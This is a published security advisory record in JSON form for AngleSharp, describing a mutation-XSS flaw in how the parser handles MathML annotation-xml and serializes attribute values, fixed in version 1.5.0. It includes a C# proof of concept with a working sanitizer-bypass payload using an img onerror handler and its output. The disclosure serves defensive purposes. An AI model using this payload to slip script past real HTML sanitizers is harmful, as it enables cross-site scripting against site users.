{"id":"GHSA-pgww-w46g-26qg","summary":"AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass","details":"### Summary\nThe HTML specification requires that a MathML `\u003cannotation-xml\u003e` element with `encoding=\"text/html\"` or `encoding=\"application/xhtml+xml\"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.\n\nAngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding=\"text/html\"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable:\n\n- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).\n- Unescaped \u003c \u003e in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape \u003c or \u003e characters, only & and \". This allows injected markup to break out of attribute values on re-parse. _See [Escape \"\u003c\" and \"\u003e\" in attributes when serializing HTML #6235\n](https://github.com/whatwg/html/issues/6235)_\n\n\n### Details\nIn `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`):\n```cs\n// Current — HtmlTip is never set\n: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)\n```\n\nBecause `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard.\n\nIn `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`):\n```cs\n// Escapes & \" and \\u00A0, but NOT \u003c or \u003e\ncase Symbols.Ampersand:    stringBuilder.Append(\"&amp;\");  break;\ncase Symbols.NoBreakSpace: stringBuilder.Append(\"&nbsp;\"); break;\ncase Symbols.DoubleQuote:  stringBuilder.Append(\"&quot;\"); break;\ndefault:                   stringBuilder.Append(value[i]); break; // \u003c and \u003e pass through raw\n```\n\n### PoC\nThe following program demonstrates that AngleSharp’s parser misses the injected `\u003cimg\u003e` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `\u003cimg onerror\u003e` trigger.\n```cs\nusing System;\nusing System.Linq;\nusing AngleSharp.Html.Parser;\n\t\t\t\npublic class Program\n{\n    static readonly string Payload1 =\n        \"\u003cmath\u003e\" +\n        \"\u003cannotation-xml encoding=\\\"text/html\\\"\u003e\" +\n        \"\u003ctitle\u003e\u003ca encoding=\\\"\u003c/title\u003e\u003cimg src=x onerror=alert()\u003e\\\"\u003e\" +\n        \"\u003c/annotation-xml\u003e\u003c/math\u003e\";\n\n    public static void Main()\n    {\n        var parser = new HtmlParser();\n\n        Check(parser, Payload1, \"IMG\",\n            \"AngleSharp missed \u003cimg\u003e – VULNERABLE (mXSS via attribute serialization)\",\n            \"AngleSharp found \u003cimg\u003e – SAFE\");\n    }\n\n    static void Check(HtmlParser parser, string html, string tag,\n                      string failMsg, string passMsg)\n    {\n        var doc     = parser.ParseDocument(html);\n        var tags    = doc.All.Select(e =\u003e e.TagName).ToHashSet();\n        var found   = tags.Contains(tag);\n\n        Console.WriteLine(found ? passMsg : failMsg);\n        Console.WriteLine(\"Serialized output:\");\n        Console.WriteLine(doc.DocumentElement.OuterHtml);\n    }\n}\n```\n\nOutput:\n```\nAngleSharp missed \u003cimg\u003e – VULNERABLE (mXSS via attribute serialization)\nSerialized output:\n\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cmath\u003e\u003cannotation-xml encoding=\"text/html\"\u003e\u003ctitle\u003e\u003ca encoding=\"\u003c/title\u003e\u003cimg src=x onerror=alert()\u003e\"\u003e\u003c/a\u003e\u003c/title\u003e\u003c/annotation-xml\u003e\u003c/math\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n_The `title` tag may be swapped out for `style` and other RCDATA elements._\n\nWhen a browser receives this string and parses `annotation-xml encoding=\"text/html\"` as an HTML integration point, the `\u003c/title\u003e` closes the title element and the `\u003cimg\u003e` fires its onerror handler.\n\n### Impact\nImplemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.\n\nThis reduces AngleSharp's credibility as a conformant HTML parser.","aliases":["CVE-2026-54570"],"modified":"2026-07-17T21:41:39.998258Z","published":"2026-07-17T21:17:10Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-80"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-07-17T21:17:10Z"},"references":[{"type":"WEB","url":"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"},{"type":"PACKAGE","url":"https://github.com/AngleSharp/AngleSharp"},{"type":"WEB","url":"https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"}],"affected":[{"package":{"name":"AngleSharp","ecosystem":"NuGet","purl":"pkg:nuget/AngleSharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.12.1","0.13.0","0.13.0-alpha-733","0.13.0-alpha-734","0.13.0-alpha-735","0.13.0-alpha-737","0.13.0-alpha-739","0.13.0-alpha-742","0.13.0-alpha-743","0.13.0-alpha-744","0.13.0-alpha-745","0.13.0-alpha-748","0.13.0-alpha-754","0.13.0-alpha-756","0.13.0-alpha-758","0.13.0-alpha-760","0.13.0-alpha-763","0.13.0-alpha-764","0.13.0-alpha-766","0.13.0-alpha-768","0.13.0-alpha-771","0.13.0-alpha-775","0.13.0-alpha-782","0.14.0","0.14.0-alpha-783","0.14.0-alpha-784","0.14.0-alpha-787","0.14.0-alpha-788","0.14.0-alpha-789","0.14.0-alpha-790","0.14.0-alpha-793","0.14.0-alpha-794","0.14.0-alpha-796","0.14.0-alpha-798","0.14.0-alpha-801","0.14.0-alpha-802","0.14.0-alpha-803","0.14.0-alpha-805","0.14.0-alpha-809","0.14.0-alpha-811","0.14.0-alpha-813","0.14.0-alpha-817","0.14.0-alpha-818","0.15.0","0.15.0-alpha-14","0.16.0","0.16.0-alpha-72","0.16.0-alpha-75","0.16.0-alpha-76","0.16.0-alpha-77","0.16.0-alpha-78","0.16.0-alpha-79","0.16.0-alpha-80","0.16.0-alpha-84","0.16.0-alpha-85","0.16.0-alpha-86","0.16.1","0.16.1-alpha-104","0.16.1-alpha-106","0.16.1-alpha-108","0.16.1-alpha-110","0.16.1-alpha-112","0.16.1-alpha-114","0.16.1-alpha-120","0.16.1-alpha-125","0.16.1-alpha-127","0.16.1-alpha-133","0.16.1-alpha-144","0.16.1-alpha-145","0.16.1-alpha-148","0.16.1-alpha-152","0.16.1-alpha-153","0.16.1-alpha-155","0.16.1-alpha-167","0.16.1-alpha-168","0.16.1-alpha-91","0.16.1-alpha-96","0.16.1-alpha-99","0.17.0","0.17.0-alpha-169","0.17.0-alpha-170","0.17.0-alpha-171","0.17.0-alpha-172","0.17.0-alpha-173","0.17.0-alpha-174","0.17.0-alpha-177","0.17.1","0.17.1-alpha-178","0.17.1-alpha-179","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.4.0","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.4.1","0.8.5","0.8.6","0.8.7","0.8.7.1","0.8.8","0.8.9","0.9.0","0.9.1","0.9.10","0.9.11","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.8.1","0.9.9","0.9.9.1","0.9.9.2","1.0.0","1.0.0-alpha-1","1.0.0-alpha-10","1.0.0-alpha-12","1.0.0-alpha-17","1.0.0-alpha-20","1.0.0-alpha-21","1.0.0-alpha-229","1.0.0-alpha-231","1.0.0-alpha-25","1.0.0-alpha-27","1.0.0-alpha-31","1.0.0-alpha-33","1.0.0-alpha-36","1.0.0-alpha-38","1.0.0-alpha-4","1.0.0-alpha-41","1.0.0-alpha-47","1.0.0-alpha-49","1.0.0-alpha-59","1.0.0-alpha-63","1.0.0-alpha-64","1.0.0-alpha-65","1.0.0-alpha-68","1.0.0-alpha-7","1.0.0-alpha-70","1.0.0-alpha-71","1.0.0-alpha-819","1.0.0-alpha-822","1.0.0-alpha-825","1.0.0-alpha-827","1.0.0-alpha-842","1.0.0-alpha-844","1.0.0-ci-228","1.0.1","1.0.1-alpha-235","1.0.1-alpha-241","1.0.1-alpha-242","1.0.1-alpha-243","1.0.1-alpha-248","1.0.2","1.0.2-alpha-249","1.0.2-alpha-250","1.0.2-alpha-251","1.0.2-alpha-255","1.0.2-alpha-257","1.0.2-alpha-258","1.0.2-alpha-261","1.0.2-alpha-273","1.0.2-alpha-274","1.0.2-alpha-275","1.0.2-alpha-276","1.0.2-alpha-277","1.0.2-alpha-278","1.0.2-alpha-281","1.0.2-alpha-282","1.0.2-alpha-283","1.0.2-alpha-284","1.0.3","1.0.3-alpha-287","1.0.4","1.0.4-alpha-289","1.0.4-alpha-290","1.0.4-alpha-298","1.0.4-alpha-300","1.0.4-alpha-301","1.0.4-alpha-307","1.0.4-alpha-311","1.0.4-alpha-314","1.0.4-alpha-316","1.0.5","1.0.5-alpha-317","1.0.6","1.0.6-alpha-321","1.0.6-alpha-325","1.0.6-alpha-328","1.0.6-alpha-330","1.0.6-alpha-331","1.0.6-alpha-339","1.0.6-alpha-341","1.0.7","1.0.7-alpha-342","1.1.0","1.1.0-alpha-374","1.1.0-alpha-375","1.1.0-alpha-376","1.1.0-alpha-377","1.1.0-alpha-378","1.1.0-alpha-379","1.1.1","1.1.2","1.2.0","1.3.0","1.3.1","1.4.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-pgww-w46g-26qg/GHSA-pgww-w46g-26qg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N"}]}